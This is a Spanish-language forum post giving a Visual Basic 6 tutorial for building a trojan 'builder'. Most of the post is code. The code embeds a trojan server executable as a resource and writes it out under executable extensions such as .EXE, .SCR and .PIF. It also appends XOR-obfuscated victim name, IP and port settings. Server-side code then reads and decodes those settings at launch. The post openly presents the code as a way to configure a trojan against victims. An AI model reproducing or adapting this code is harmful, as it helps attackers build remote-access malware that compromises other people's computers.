últimos mensajes de: rembolso

TE TRAIGO LA SALUCION
:laugh:

----------------------------------------
hola yo al tema ya lo avia posteado pero no me dieron solucion . me rebente la cabeza mirando ejemplos q estban en chino jajaj hasta q comprendi

------------------------
1) vas ala parte q dice add-ins (en el manu de arriva) y selecionas donde dice add-in manager
te aparece un cartel. te vas a lo asi ultimo y hay uno q dice vb 6 resurce editor , le haces doble clic
hasta q dice loaded ( cargado ) le das ok
por ultimo te aparece un cartel con una carpeta de dice "custom"
te vas a mano derecha del simbolo de interrogacion (?) y a la mano derecha de la imagen con captus q hay unos cuadraditos . le das clic y te aparece
el cartel para elegir el archivo . elegis el servidor ( el troyano) .exe le das ok y te queda cargado el related documen al archivo q dice custom
le das clic y te aparece un "fsg" . le das clic y te aparece un cartel
q dice

type : "CUSTOM"
id : "FSG"
leguaje : español (argentina)

y listo te queda cargado haora bamos al codigo presta atencion
------------------------------------------------ -------------------------
' declaramos variables q le metemos al server y el server lo recibe
'agregas un CommonDialog
' dos cajas de texto text1 , text2 y un Command1

Private Const BVICTIMNAME As String = "/BVIC"
Private Const EVICTIMNAME As String = "EVIC\"
Private Const BICQUIN As String = "/BUIN"
Private Const EICQUIN As String = "EUIN\"

Dim strPath As String
   Dim arrServer() As Byte ' declaramos varibles
   Dim intFile As Integer
   With CommonDialog1 '
   .Filter = "*.EXE" & "*.BAT" & "*.SCR" & "*.PIF" & "*.COM" & "*.CMD"
   .InitDir = App.Path
   .DefaultExt = ".EXE"
   .DialogTitle = "Save Server As"
   .ShowSave
   strPath = .FileName
   End With
   arrServer = LoadResData("FSG", "CUSTOM") ' bariable q utilizaremos para cagar el .res


   intFile = FreeFile() ' variable para el file

Open strPath For Binary As #intFile 'abrimos el file ( el lugar)

   Put #intFile, 1, arrServer

   Put #intFile, , BEGIN '
   Put #intFile, , BVICTIMNAME
   Put #intFile, , encdec(Text1.Text) ' ak metemos los datos del text1 (podrias ser q hay metas la ip)

   Put #intFile, , EVICTIMNAME

   Put #intFile, , BICQUIN
   Put #intFile, , encdec(Text2.Text) ' ak metemos los datos del text2 (podrias ser q hay metas el puerto)
   Put #intFile, , EICQUIN

Close #intFile ' cerramos la sentencia
''''''''''
Function encdec(inputstrinG As String) As String ' ak ponemos la funcion encodec
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function
````````````````````````````````````````````````````
' pone esto en un modulo
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

'''''''''''''''
'''''''''**************************************************

LISTO HAORA PASAMOS AL SERVIDOR

-------------------------------------------------------------------
' COLOCA ESTO EN UN MODULO
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Function FullAppName() As String
  Dim modName As String * 256
  Dim i As Long
  i = GetModuleFileName(App.hInstance, modName, Len(modName))
  FullAppName = Left$(modName, i)
End Function

'''''''''''''''''
ESTO COLOCALO EN EN FORM

Dim Svicname As String ' Str
Dim intFile As Integer
Dim strTemp As String
Dim SettingStart As Long
Dim SettingEnd As Long
Dim Durl As String
Dim thefilen As String

Dim RecBytes As Long
Dim FUsize As Long
Dim Sicquin As String
'''''''''''
Private Sub Form_Load()
RecBytes = 0

   intFile = FreeFile()

   Open FullAppName For Binary As #intFile

strTemp = String$(LOF(intFile), Chr$(0))
Get #intFile, 1, strTemp 'CARGAMOS EL SERVER A LA MEMORIA
   Close #intFile

   SettingStart = InStr(1, strTemp, "/BEG")
   SettingEnd = InStr(1, strTemp, "END\")

FindSetting "/BVIC", "EVIC\", Svicname ' TIPOS DE VARIBLES Q DIGIMOS Q LE IVAMOS A METER AL SERVER
FindSetting "/BUIN", "EUIN\", Sicquin

Select Case Svicname '''''''''''''''''''

Case "Disabled"

Case Else

Text1.Text = Svicname ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT1 DEL CLIENTE LA IP A CONECTAR

End Select

Select Case Sicquin

Case "Disabled"

Case Else
Text2.Text = Sicquin ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT2 DEL CLIENTE EL PUERTO

End Select

END SUB

Sub FindSetting(ByVal SStart As String, send As String, SString As String)
On Error Resume Next
SettingStart = InStr(1, strTemp, SStart) ' find the start of what setting we want
SettingEnd = InStr(1, strTemp, send) ' find the end
SString = Mid$(strTemp, SettingStart + 5, SettingEnd - SettingStart - 5) ' the setting = - the markers
SString = encdec(SString)

End Sub
Function encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s ' funcion para decodificarlos
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function

'''''''''''''''''''''''''''

SALUDOS BY REMBOLSO ESPERO Q TE AYA AYUDADO . YA Q AMI NO ME AYUDO NADIE JAJAJ